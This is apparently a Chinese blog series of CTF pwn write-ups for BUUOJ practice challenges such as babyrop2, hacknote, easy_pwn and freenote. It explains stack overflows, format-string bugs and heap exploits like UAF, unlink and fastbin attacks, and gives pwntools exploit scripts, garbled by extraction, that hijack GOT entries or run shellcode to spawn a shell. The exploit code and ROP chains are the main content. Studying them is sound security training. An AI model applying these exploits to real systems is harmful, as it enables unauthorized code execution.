第二个我自己写的没能打通,看报错像是检验大小没过,可是我之前做过一道题,这样子也是可以创建堆块的,我是想把chunk直接创建在free的got.plt里面,直接改就好了,没必要像上面绕一圈子,没想过不行。
exp2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from  pwn import  *'debug' './1' )'./1' )0x602018 0x400700 def  debug ():def  new (size ):"choice :" ,'1' )"Heap : " ,str (size))"heap:" ,p64(0 ))def  edit (idx,content ):"choice :" ,'2' )"Index :" ,str (idx))"Heap : " ,str (len (content)))"heap : " ,content)def  delete (idx ):"choice :" ,'3' )"Index :" ,str (idx))0x60 )0x60 )0x60 )2 )'a' *0x60 +p64(0 )+p64(0x71 )+p64(free_got-0x20 +0xd )1 ,payload)0x60 )0x60 )3 ,p8(0 )*3 +p64(system))0 ,"/bin/sh\x00" )0 )
四十、bjdctf_2020_babyrop2 checksec一下
开启了NX和Canary
进入ida看看代码
一个函数里面有着格式化字符串漏洞,允许我们输入六个长度的数据,用来泄露canary的,然后在后面的函数里面存在栈溢出,泄露libc的以及getshell的。
AAAAAA是我输进去的内容,他的位置在栈顶处,是格式化字符串的第六个参数,可以看见,在其下面的就是我们要的canary了,所以是第七个参数,从而确定构造为”%7$p”,之后就是正常的普通rop内容了。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from  pwn import  *from  LibcSearcher import  *"node3.buuoj.cn" ,27477 )'debug' './1' )0x400993 0x400887 'printf' ]'printf' ]'read' ]'read' ]'%7$p' "u!" ,payload)"0x" )int (p.recv(16 ), 16 )print  hex (canary)'a' *0x18 +p64(canary)+'deadbeef' +p64(pop_rdi)+p64(read_got)+p64(printf_plt)+p64(main)"story!" ,payload)6 ).ljust(8 ,'\0' ))print  hex (read)'read' ,read)'read' )'str_bin_sh' )'system' )'a' *0x18 +p64(canary)+'deadbeef' +p64(pop_rdi)+p64(binsh)+p64(system)"story!" ,payload)
四十一、bjdctf_2020_router 常规checksec一下,看看保护
只开启了NX
进入ida看看代码
第一个功能很神奇的让我们输入一个长度为0x10的数据,然后用system调用?我跑去nc了一下
好吧,成功获得flag了。
四十二、picoctf_2018_shellcode checksec一下
保护都没开启,拖入ida分析一下。无法F5反汇编,只能看汇编代码了。
有个vuln函数,里面有调用gets和puts两个函数,可以进行输入。再看其他代码,底下有个call eax,可以进行执行代码,看下eax的内容来自哪里
这里传递给eax的地址与下面调用时一致,然后vuln函数里面gets输入的地址是ebp+8中存放的地址,其实就是eax里面的地址内容,所以整个程序总的说就是会执行我们输入进去的东西,加上nx未开,输入shellcode来getshell
1 2 3 4 5 6 from  pwn import  *"node3.buuoj.cn" ,28165 )'debug' ,arch='i386' ,os='linux' )"string!" ,shellcode)
四十三、hitcontraining_uaf 常规checksec一下
image-20210727132448387 
进入ida看看,其实题目已经有暗示,uaf,所以我们先去delete函数里面看看,
image-20210727132528641 
确实存在着uaf,那么该怎么利用?再看看add函数和printf函数
image-20210727132617843 
这边的add函数比较奇怪,首先是有次数限制只能申请五个堆块,其次是会申请两个堆块,第一个堆块是固定8字节大小,前4个字节存放一个print_note_content函数的地址,后4个字节是我们可以控制的,申请一个任意大小的堆块
image-20210727132832076 
在print函数里面,最后会进行函数调用,就是调用先前在add函数里面保存的print_note_content函数进行打印我们可以控制的堆块里面的内容
image-20210727133015119 
最后就是还存在一个后门函数
思路:一开始是觉得没有edit这类的函数,可能是要制造堆块重叠,把后门函数劫持到malloc_hook里面去,还以为5个会够,但是一个泄露libc基址,再一个申请fastchunk进行double free,然后还需要申请四次,超过次数了
image-20210727135534549 
这是double free的fastbin上的情况,因为free也是两个,所以直接进行两次操作直接就可以构造出A-B-A
所以换一种方法:利用那个函数调用,想办法把进行调用的堆块变成是我们可以控制的那个堆块,把内容改成后门函数,那么就可以getshell了!
image-20210727140624461 
像这样,我们可以控制的堆块申请一个比0x8大的堆块,那么我们就不会申请走,而固定申请大小为0x8的堆块就会申请走一个,此时我们,如果再申请0x8的堆块,就会进行更换了,我们申请到的就是之前程序的固定堆块,最后printf一下,就getshell了!
image-20210727141018340 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from  pwn import  *'i386' ,os = 'linux' ,log_level = 'debug' )"./hacknote" )"/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_i386/libc-2.23.so" )"/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_i386/ld-2.23.so" )"node4.buuoj.cn" ,26333 )def  debug ():"b main" )def  add (size,content ):'choice :' ,'1' )'Note size :' ,str (size))'Content :' ,content)def  delete (idx ):'choice :' ,'2' )'Index :' ,str (idx))def  printf (idx ):'choice :' ,'3' )'Index :' ,str (idx))0x8048945 0x8 ,'a' )0 )0 )0x10 ,'a' )0x8 ,p32(shell_addr))0 )
四十四、picoctf_2018_buffer image-20210728144721443 
checksec的情况来看以及名字,应该是道栈题目,进入ida看看
image-20210728144750715 
漏洞点应该是在这了,存在明显栈溢出
image-20210728145612076 
程序本身还蕴含着一个函数,这个函数会读取flag里面的内容,只要通过判断即可打印出flag
image-20210728145716640 
而这里的a1,a2就是该函数的参数。
image-20210728150414970 
成功获取flag
1 2 3 4 5 6 7 from  pwn import  *"node4.buuoj.cn" ,28765 )0x080485CB 'a' *0x70 +p32(win_addr)+p32(0 )+p32(0xDEADBEEF )+p32(0xDEADC0DE )"Please enter your string:" )
四十五、roarctf_2019_easy_pwn 常规checksec一下,保护全开,可能是道堆题了,进入ida看看程序
image-20210728151846042 
漏洞点在于write函数里面
image-20210730125048904 
这里会把我们之前申请堆块时输入的size与现在要写入的size进行比较,如果我们现在写入的size比原来的size大10,就可以多写一个,所以漏洞点是offbyone
泄露libc,因为calloc会清空堆块的数据,所以这边借着溢出,把is_mmap位改为1,就不会被清空数据,借此把libc泄露出来
image-20210730215233503 
然后就利用offbyone修改堆块的size,制造overlop,修改被覆盖的堆块的fd指针,然后把堆块申请到malloc_hook上去
image-20210730233057769 
image-20210730233446054 
这边我已经成功写进去了,但是没有getshell,四种都没办法getshell,那接下来,就有很多处理方式了
转而去修改free_hook函数 
利用realloc调整栈帧 
house of orange(通杀2.23以及2.24) 
 
这边我使用realloc调整栈帧,其他方法后续会更新的(我也不知道后续是多久~)
image-20210731002134507 
这边可以看见,并不会为NULL,所以one_gadget条件没有达成,然后看看realloc,会压栈
image-20210731002037708 
image-20210731002752890 
发现,其实压栈导致的rsp-0x8,已经让one_gadget的条件达成了,所以就不用再去找了
image-20210731001850853 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 from  pwn import  *'amd64' ,os = 'linux' ,log_level = 'debug' )"./roarctf_2019_easy_pwn" )"/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so" )"/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so" )"LD_PRELOAD"  : libc.path})"./libc-2.23.so" )"node4.buuoj.cn" ,25420 )def  debug ():"b main" )def  add (size ):"choice: " ,"1" )"size: " )str (size))def  edit (idx,size,content ):"choice: " ,"2" )"index: " )str (idx))"size: " )str (size+10 ))"content: " )def  show (idx ):"choice: " ,"4" )"index: " )str (idx))"content: " )def  free (idx ):"choice: " ,"3" )"index: " )str (idx))''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints:   rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints:   [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints:   [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints:   [rsp+0x70] == NULL ''' 0x68 )0x88 )0x68 )0x68 )0x68 )1 )0 ,0x68 ,'a' *0x68 +'\x93' )0x88 )1 )6 ).ljust(8 ,'\x00' ))-0x3c4b78 '__malloc_hook' ]'' ]'__libc_realloc' ]0x4526a "libc base==>0x%x"  %libc_base)"__malloc_hook==>0x%x"  %mlh)"realloc==>0x%x"  %realloc)"one_gadget==>0x%x"  %ogg)1 ,0x88 ,'a' *0x88 +'\xe1' )3 )2 )0xd8 )'a' *0x60 +p64(0 )+p64(0x71 )+p64(mlh-0x30 +0xd )2 ,len (payload)-10 ,payload)0x68 )0x68 )0 )*3 +p64(0 )+p64(ogg)+p64(realloc)5 ,len (payload)-10 ,payload)0x10 )
四十六wustctf2020_getshell_2 image-20210808202602382 
先checksec一下,32位,开启保护只有nx
image-20210808203034653 
image-20210808205220758 
ida里面十分简单,漏洞点就这么一些东西,说明就是一个栈溢出,而溢出算上返回地址,只有八个字节,给的后门函数是无法使用的,那么如果按照原来的构造方法,字节数是不够的,因为加上返回地址,那明显是要十二个字节。然后这边的字符要去找sh,只有sh也是可以getshell的,除此之外,那如果要不需要返回地址,那就要去跳转到这边的程序里面已经有的call _system,就可以不需要返回地址,因为call指令会自动的将下一条指令压入栈中作为返回地址
image-20210808205011413 
exp:
1 2 3 4 5 6 7 from  pwn import  *"node4.buuoj.cn" ,27986 )0x8048529 0x08048670 'a' *0x1c  + p32(sys) + p32(sh)
四十七、qctf_2018_stack2 image-20210808210516960 
checksec一下,32位,且有nx以及canary,那就要先去寻找怎么泄露canary了,不然是没法做的
image-20210808214029860 
分析了一下程序的功能,不存在溢出点,输入函数也都是用的scanf,只有这个地方应该是有问题的,首先这个数组的是在栈上的,而数组下标我们是可以控制的,那就存在了数组越界问题了。并且给了一个后门函数,那就可以逐个字节的输入进去,覆盖返回地址,这样也就不需要去泄露canary了
然后就是数组的偏移,直接看ida的反汇编是错误的,为什么会错?
image-20210808222850151 
image-20210808222112204 
汇编代码可以解惑:由于这边的处理不同,导致ebp的下方并不是返回地址,而是还有一段距离,就要去调试获得了
image-20210808225803029 
我选择在下标为1的位置输入调试,而这边[ebp+eax*1-0x70]就是输入的数最终会存放的地方,因为我输的是0,所以可以算出的ebp-0x70就是数组的起始地址,这样只要再去算一下返回地址到这的偏移即可
image-20210808230055266 
算出偏移之后就是利用数组越界把后门函数地址写入到返回地址
image-20210808221957029 
exp
1 2 3 4 5 6 7 8 9 10 11 12 from  pwn import  *"node4.buuoj.cn" ,25028 )'debug' "have:" )'0' )0x9b ,0x85 ,0x04 ,0x08 ]for  i in  range (4 ):"5. exit" ,'3' )"change" ,str (0x84 +i))"number:" ,str (get_shell[i]))"5. exit" ,'5' )
四十八、[ZJCTF 2019]Login image-20210812160620361 
先checksec一下,64位,开启了nx和canary,可能要泄露canary,进入ida分析一下
进入程序,是个用c++编写的程序,看起来有些费力
image-20210812162011685 
首先找到了一个后门函数,那么就再去找找输入点,看看有没有溢出,以及找找有没有函数调用的地方。然后可以发现,输入点是不存在溢出到返回地址的,但是可以找到一个能进行函数调用的地方
image-20210812162329071 
在整个程序的最后,进行密码验证,如果通过就会进行函数调用。那么,就去找找这个函数调用从哪里传入,是否可以修改?以及怎么通过检验
image-20210812165314541 
首先通过验证,把这的账号密码输入进去即可
image-20210812165836228 
image-20210812165850893 
然后就是要进行覆盖,把v8覆盖为后门函数,v8又来自vuln,而vuln似乎不是我们可以控制的变量。但是去查汇编代码,可以知道最后的函数调用,表现是call rax,那是否可以去修改rax的数据呢?
image-20210812170456157 
这里很有意思,在call rax前可以追溯到rax的值来自栈上一个数据,可以去看看能不能覆盖
image-20210812172747784 
image-20210812172859005 
这里传入的rax的值就是源头,而这里的值是栈上的,并且我们是可以覆盖的,就是在第二个输入点输入密码的地方
成功getshell
image-20210812164617984 
exp:
1 2 3 4 5 6 7 8 9 10 11 from  pwn import  *'debug' "node4.buuoj.cn" ,29528 )0x400E88 "username:" )"admin" )"password:" )"2jctf_pa5sw0rd" .ljust(0x48 ,'\x00' ) + p64(shell)
四十九mrctf2020_easyrop image-20210812175441484 
checksec,64位,只开启nx
image-20210812180035772 
首先程序存在后门,但是依照逻辑是不可能运行到后门的,所以需要劫持rip执行后门函数
image-20210812181120347 
所有的输入点都是从var_310开始输入的,然而最大的输入长度也不过是0x300,不够覆盖到返回地址
image-20210812181040014 
仔细分析程序,可以发现这边有个数组越界,这里的a1是var_310,所以可以先用别的函数输入数据,然后越界覆盖返回地址为后门函数
这边有个注意点:覆盖成功后退出程序时,程序还是会执行到数组越界的函数,所以这时候的输入只能是输入一个’\x00’,并且不能含有换行符,否则会接在前面输入的后门函数的地址上,导致地址无效了
在本地成功getshell,远程的docker可能出问题了,没有反应
image-20210812184240747 
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from  pwn import  *"./mrctf2020_easyrop" )'debug' 0x40072A '2' )'a' *0x2ff  + '\x00' "hehehehehehehe\n" ,payload)'3' )'a' *0x19  + p64(shell)"bybybybybybyby\n" ,payload)'7' )'\x00' )
五十、xdctf2015_pwn200 image-20210812185855607 
checksec一下,32位,开了nx
image-20210812192549644 
程序很简单,这边有个很明显的栈溢出,并且程序含有泄露函数write,构造基础的rop就行了
image-20210812192512692 
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from  pwn import  *from  LibcSearcher import  *"node4.buuoj.cn" ,25644 )'debug' './bof' )0x80484d6 'write' ]'write' ]'a' *0x70 +p32(write_plt)+p32(main)+p32(1 )+p32(write_got)+p32(4 )4 ))"write addr:" +hex (write))'write' ,write)'write' )'str_bin_sh' )'system' )'a' *0x70 +p32(system)+p32(main)+p32(binsh)
五十一、jarvisoj_level6_x64 image-20210812200521406 
看附件名字,应该是道堆题,这道堆题没开PIE,RELRO没开全,这种题目一般是想办法修改got表,这样能稳定getshell
image-20210914200255661 
首先,创建了一个大堆块,用来保存后面申请堆块的size,指针等信息
image-20210914200621734 
在申请堆块功能里的这个语句代表分配堆块的大小是0x80的整数倍
image-20210914200526193 
在edit功能中,如果你写入与之前申请不匹配的size,那么会调用realloc扩充堆块的size,似乎可以造成overlap
image-20210914200603042 
free功能的话,堆结构里面的指针没有清零,存在UAF。但是前面的flag、size都清零了,所以只能double free
image-20210914202759594 
有个注意点是在申请堆块中的输入堆块内容时,你输入多大的size,那你相应就要填入多大的字符,否则这边的read是不会停止的
思路:就先checksec看到的,去劫持got表,一般是free,然后再去释放一个内容为/bin/sh的堆块。这题堆块内容没有清空,并且申请堆块时输入的数据是可以不输入\x00的,所以不会截断,那就说明蕴含着很多脏数据都是可以泄露的!比如libc,比如堆地址,而如果有了堆地址,unlink,随之而来,然后PIE又没开,直接写got表地址,然后写入system地址即可!
image-20210914204249244 
这边释放堆块要注意,得先申请四个,然后隔着释放,因为都是unsorted chunk,得要防止触发unlink合并
image-20210914211338216 
释放完四个堆块后,有残余脏数据的堆结构,现在就要依据这个脏数据进行构造unlink
image-20210914212020955 
很明显,申请出来的,只能在第三个堆地址上伪造出堆头,这样才能释放该伪造堆块,触发unlink
image-20210915103319358 
unlink成功,把堆块指针的值变为了堆结构上的地址,之后直接对着堆结构修改即可
image-20210915110109421 
getshell!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from  pwn import  *"./freenote_x64" )"/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so" )"./libc-2.23.so" )"/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so" )"LD_PRELOAD"  : libc.path})"node4.buuoj.cn" ,27343 )def  debug ():"b main" )def  add (size,content ):"Your choice: " ,"2" )"Length of new note: " )str (size))"Enter your note: " )def  edit (idx,size,content ):"Your choice: " ,"3" )"Note number: " )str (idx))"Length of note: " )str (size))"Enter your note: " )def  show ():"Your choice: " ,"1" )def  free (idx ):"Your choice: " ,"4" )"Note number: " )str (idx))0x80 ,'a' *0x80 ) 0x80 ,'b' *0x80 ) 0x80 ,'c' *0x80 ) 0x80 ,'d' *0x80 ) 0 )2 )8 ,'a' *0x8 ) 8 ,'b' *0x8 )"0. aaaaaaaa" )4 ).ljust(8 ,'\x00' )) - 6464  "heap_base==>0x%x"  %heap_base)"2. bbbbbbbb" )6 ).ljust(8 ,'\x00' )) - 3951480 "libc_base==>0x%x"  %libc_base)'system' ]3 )2 )1 )0 ) 0 ) + p64(0x110 ) + p64(heap_base + 0x30  - 0x18 ) + p64(heap_base + 0x30  - 0x10 )len (payload),payload)'a' *0x80  + p64(0x110 ) + p64(0x90 ) + 'a' *0x80  + p64(0 ) + p64(0x91 ) len (payload),payload)2 )'free' ]0x2 ) + p64(0x1 ) + p64(0x8 ) + p64(free)0 ,0x20 ,payload)0 ,0x8 ,p64(system))8 ,'/bin/sh\x00' )"Your choice: " ,"4" )"Note number: " )str (2 ))   
五十二、inndy_rop 先checksec一下,32位,只开了nx
image-20210823202233200 
进入ida,程序很简单,只有一个gets函数,明显溢出
然后程序东西很繁杂,这种就是属于静态编译的程序,程序里面包含着程序所需要的函数信息,但是找了一下,没有找到/bin/sh,以及system,那应该就是要构造gadgets了,去使用系统调用号函数获取shell
image-20210823195230792 
百度了一下,ROPgadget内置了相关工具,可以直接针对这种题目有现成的exp
ROPgadget --binary rop --ropchain
image-20210823195052520 
image-20210823201506833 
这边其实还有种办法,就是使用mprotect函数修改.bss段的执行权限,然后写入shellcode,再执行来getshell
image-20210823201429425 
程序里面是有mprotect函数的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from  pwn import  *from  struct import  pack'node4.buuoj.cn' ,29804 )'a' *16 '<I' , 0x0806ecda ) '<I' , 0x080ea060 ) '<I' , 0x080b8016 ) '/bin' '<I' , 0x0805466b ) '<I' , 0x0806ecda ) '<I' , 0x080ea064 ) '<I' , 0x080b8016 ) '//sh' '<I' , 0x0805466b ) '<I' , 0x0806ecda ) '<I' , 0x080ea068 ) '<I' , 0x080492d3 ) '<I' , 0x0805466b ) '<I' , 0x080481c9 ) '<I' , 0x080ea060 ) '<I' , 0x080de769 ) '<I' , 0x080ea068 ) '<I' , 0x0806ecda ) '<I' , 0x080ea068 ) '<I' , 0x080492d3 ) '<I' , 0x0807a66f ) '<I' , 0x0807a66f ) '<I' , 0x0807a66f ) '<I' , 0x0807a66f ) '<I' , 0x0807a66f ) '<I' , 0x0807a66f ) '<I' , 0x0807a66f ) '<I' , 0x0807a66f ) '<I' , 0x0807a66f ) '<I' , 0x0807a66f ) '<I' , 0x0807a66f ) '<I' , 0x0806c943 ) 
五十三、babyfengshui_33c3_2016 image-20210823202142271 
checksec一下,32位,开了NX、Canary
image-20210823231658268 
漏洞点在于修改堆块内容里面的检查机制有问题:只要把两个堆块分开,一个在头一个在尾,那就代表着能溢出覆盖两个堆块间的所有堆块。而且这很容易就能办到,只要连续申请几次堆块,把最开始申请的释放了,然后我们申请一个被释放大小的堆块,那这个堆块就出现在了头部,而另一个就是在尾部
image-20210827142300094 
而打印函数,认真看,是printf函数,%s,那么这是会解析一个地址,然后把这个地址上的内容打印出来,所以我们通过溢出把free的got表地址写上去,那么解析完打印出来的就是free的真实地址,从而获得libc基址
image-20210827143043150 
同样,这边修改description的函数,也是会把description的地址传入进去修改,那么只需要对着前面已经写入free的got表地址的堆块进行这个操作,就能把system函数写进去,从而劫持got表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from  pwn import  *from  LibcSearcher import  *'debug' './babyfengshui_33c3_2016' )"/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_i386/libc-2.23.so" )"/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_i386/ld-2.23.so" )"LD_PRELOAD"  : libc.path})def  Add (size, length, text ):"Action: " , '0' )"description: " , str (size))"name: " , 'qin' )"length: " , str (length))"text: " , text)def  Del (index ):"Action: " , '1' )"index: " , str (index))def  Dis (index ):"Action: " , '2' )"index: " , str (index))def  Upd (index, length, text ):"Action: " , '3' )"index: " , str (index))"length: " , str (length))"text: " , text)0x80 , 0x80 , 'qin' )0x80 , 0x80 , 'qin' )0x8 , 0x8 , '/bin/sh\x00' )0 )0x100 ,0x19c ,"a" *0x198 +p32(elf.got['free' ]))1 )"description: " )4 ))'free' , free_addr)'free' )'system' )1 , 0x4 , p32(sys_addr))2 )
五十四、axb_2019_fmt32 image-20210824223244646 
惯例checksec,32位,开了NX
image-20210824225801805 
IDA里面很明显的就是给了格式化字符串,题目也暗示了。但是由于程序内很干净,没有什么其他函数,那要getshell,就得先格式化字符串泄露出libc,再借用格式化字符串写到栈上,我想了一下,栈还要再泄露出栈地址,也可以实现(因为有个函数environ就是存了栈地址的),所以这边我转念想到劫持got表就不要这么麻烦,got地址又是直接已知的
image-20210824225741699 
然后先计算偏移,这边可以看见,我是输入了4个a的,但是很明显是没有对齐的,所以之后写payload的时候,要先补齐一个字符,所以我们的偏移从第八个开始
然后这题是有限时的,所以我们利用%x$n的时候,分两次劫持,写成hn(如果hn也超时,那就hhn),这样输入更快捷。不然会timeout
image-20210825001757873 
最后就是选择劫持strlen,刚开始是劫持printf的,但是可能是因为在之前有个地方已经调用了printf打印一句话导致出错,然后这边劫持的时候,要在/bin/sh前加上分号,因为我们输入的地方前面其实已经有一串字符串,所以要分隔开,才能识别出/bin/sh
image-20210825002000682 
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from  pwn import  *from  LibcSearcher import  *"node4.buuoj.cn" ,27607 )'debug' "./axb_2019_fmt32" )"printf" ]"strlen" ]"tell me:" )'a'  + p32(printf_got) + "xxxx"  "%8$s" "xxxx" )4 ))print ('read-->'  + hex (printf))0xe6e0 16 ) & 0xFFFF 0xFFFF print ('sys-->'  + hex (sys))print ('low-->'  + hex (sys_low))print ('high-->'  + hex (sys_high))"tell me:" )'a'  + p32(strlen_got) + p32(strlen_got+2 ) + '%'  + str (sys_low - 18 ) + "c%8
hn" + '%' +str(sys_high - sys_low) +"c%9 
 
 
  
 
 hn" "tell me:" )";/bin/sh\x00" 
五十五、bbys_tu_2016 image-20210826151052237 
常规checksec一下,32位,开了NX
image-20210826151038100 
进入IDA,发现有个后门函数,并且主函数十分简单,就给了个很明显的溢出,那就直接跳转到后门函数即可
image-20210826150923013 
image-20210826151009378 
image-20210826151024405 
这边就是IDA里面的溢出不对,所以要去gdb里面动态调试计算偏移才行
image-20210826151210436 
1 2 3 4 5 6 7 8 9 10 from  pwn import  *from  LibcSearcher import  *"node4.buuoj.cn" ,27835 )'debug' 'a' *0x18  + p32(0x804856D )
五十六、pwnable_start image-20210826151445256 
常规checksec,32位,什么保护都没开
image-20210826151616994 
image-20210826151627593 
进入IDA,只存在start,并没有main函数,只能看汇编
通过直接看汇编,或者进行gdb调试,都能获得输入点距离返回地址长度为0x14
image-20210826165108914 
在gdb里面可以发现,当执行到ret,esp指向的地方存着一个栈上的地址,所以可以据此,我们先跳转到wirte函数,把esp指向的地方输出出来,从而获得栈上地址。
然后,因为跳转程序,同样会再次执行read,此时我们输入的栈地址比我们泄露的栈地址刚好少4个字节,因为最后都会执行到add esp,0x14,所以偏移仍然是0x14,再解释下为什么esp距离我们写入的/bin/sh\x00会差0x18,是因为执行ret时,会执行pop,所以会多4个字节
image-20210826173800838 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from  pwn import  *from  LibcSearcher import  *"node4.buuoj.cn" ,26799 )"CTF:" )'a' *0x14  + p32(0x08048087 )4 ))hex (addr))"/bin/sh\x00"  + 'a' *(0x14 -8 ) +p32(addr+0x14 )"lea ebx,[esp-0x18]" )"mov eax,0xb" )"xor ecx,ecx" )"xor edx,edx" )"int 0x80" )
五十七、picoctf_2018_echo_back image-20210826182247503 
常规checksec一下,32位,开了NX、Canary
image-20210826182506261 
进入IDA,很明显的格式化字符串,跟这篇文章的第五题比较相似。但是少了循环,多了system函数调用,所以我们在劫持got表时需要让程序能再执行一次vuln函数,让我们能输入/bin/sh\x00,不需要泄露libc基址
因为后面有执行puts函数,那可以把puts的got表修改为vuln函数的起始地址
image-20210826191303201 
偏移是7
image-20210826184836372 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from  pwn import  *from  LibcSearcher import  *"node4.buuoj.cn" ,27830 )'debug' 0x0804A010 0x08048460 0x0804A01C 0x080485AB "message:" )2 ) + p32(puts_got+2 ) + p32(printf_got) + p32(puts_got) '%'  + str (0x804 -0x10 ) + "c%7$hn" "%8$hn" '%'  + str (0x8460 -0x804 ) + "c%9$hn" '%'  + str (0x85AB -0x8460 ) + "c%10$hn" "message:" )"/bin/sh\x00" )
五十八、ciscn_2019_sw_1 image-20210826194736365 
常规checksec,32位,开了NX
image-20210826194146179 
进入IDA,这题也是一道格式化字符串,而且仔细看,跟第八题几乎一样,并且也是存在调用了system函数,不需要泄露
image-20210826195039322 
偏移为4
这边因为printf后续也没别的函数,所以要让程序再执行一次就要去找在printf之后,程序还调用了什么东西,然后去把这个修改为main函数地址
linux中在程序结束的时候,依次调用fini.array中的每一个函数指针。所以这边把fini.array中的函数指针改写为main函数地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from  pwn import  *from  LibcSearcher import  *"node4.buuoj.cn" ,27862 )'debug' 0x0804989C 0x080483D0 0x0804979C 0x8048534 "name?" )2 ) + p32(fini+2 ) + p32(printf_got) + p32(fini) '%'  + str (0x804 -0x10 ) + "c%4$hn" "%5$hn" '%'  + str (0x83D0 -0x804 ) + "c%6$hn" '%'  + str (0x8534 -0x83D0 ) + "c%7$hn" "name?" )"/bin/sh\x00" )
五十九、cmcc_pwnme2 image-20210827143550209 
常规checksec,32位,开启NX
image-20210827145058312 
进入IDA,程序存在明显溢出,然后存在这个后门函数可以打印flag,也就是我们只需要让string里面放着的是flag即可跳转到这获得flag。
所以先溢出到返回地址,在返回地址填上输入函数gets,往string里面写入flag
image-20210827145907550 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from  pwn import  *from  LibcSearcher import  *"node4.buuoj.cn" ,26117 )'debug' './pwnme2' )0x0804A060 'gets' ]'a' *0x70  + p32(gets) + p32(0x080485CB ) + p32(string)"input:" )"./flag" )
六十、hitcontraining_magicheap image-20210827153019146 
常规checksec,64位,根据题目是道堆题,开了NX、Canary
image-20210827153850520 
进入IDA,发现给了个后门函数,好东西
image-20210827155315034 
这边如果magic >4869就可以执行到后门函数
image-20210827155753245 
漏洞点可以说是十分明显了,这边edit函数里面输入的长度都没有检查的
思路:通过堆溢出,覆盖后面堆块,把堆块申请到magic前面,把magic的值修改成大于4869
image-20210827161445791 
成功getshell
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from  pwn import  *'amd64' ,os = 'linux' ,log_level = 'debug' )"./magicheap" )"/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so" )"/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so" )"LD_PRELOAD"  : libc.path})"node4.buuoj.cn" ,29052 )def  debug ():"b main" )def  add (size,content ):"Your choice :" ,"1" )"Size of Heap :" )str (size))"Content of heap:" )def  edit (idx,content ):"Your choice :" ,"2" )"Index :" )str (idx))"Size of Heap : " )str (len (content)))"Content of heap : " )def  free (idx ):"Your choice :" ,"3" )"Index :" )str (idx))0x0000000000400C50 0x00000000006020A0 0x60 ,'aaaa' ) 0x60 ,'bbbb' ) 0x60 ,'cccc' ) 1 )'a' *0x68  + p64(0x70 ) + p64(magic-0x20 +0xd )0 ,payload)0x60 ,p64(4870 ))0x60 ,p8(0 )*3  + p64(4870 ))"Your choice :" ,"4869" )
六十一、hitcontraining_heapcreator image-20210829092850758 
常规checksec,开了NX、Cannary
image-20210829094339915 
进入IDA,阅读完代码后,在edit函数中,存在明显的溢出一个字节的漏洞(offbyone)
因为有offbyone漏洞在,那肯定是朝着去修改堆头的大小去的,最终达成overlap
image-20210829104050093 
先申请出这些堆块,其中第一个是要申请0x18的,因为这样才能覆盖到下一个堆块的size位。然后因为RELRO和PIE的缘故,我选择劫持got表的方法,所以第四个堆块内容就是写着/bin/sh\x00的。当然,也可以把/bin/sh\x00写到第0个堆块上
image-20210829104713815 
此时只要再把这个释放了,然后再申请同样大小的堆块回来,那么我们就可以操控其中本来是第二堆块的内容
然后把可以操控的堆结构内容修改为free的got表地址,从而可以利用show函数打印出libc地址。最后再写入sys即可getshell
image-20210829110519523 
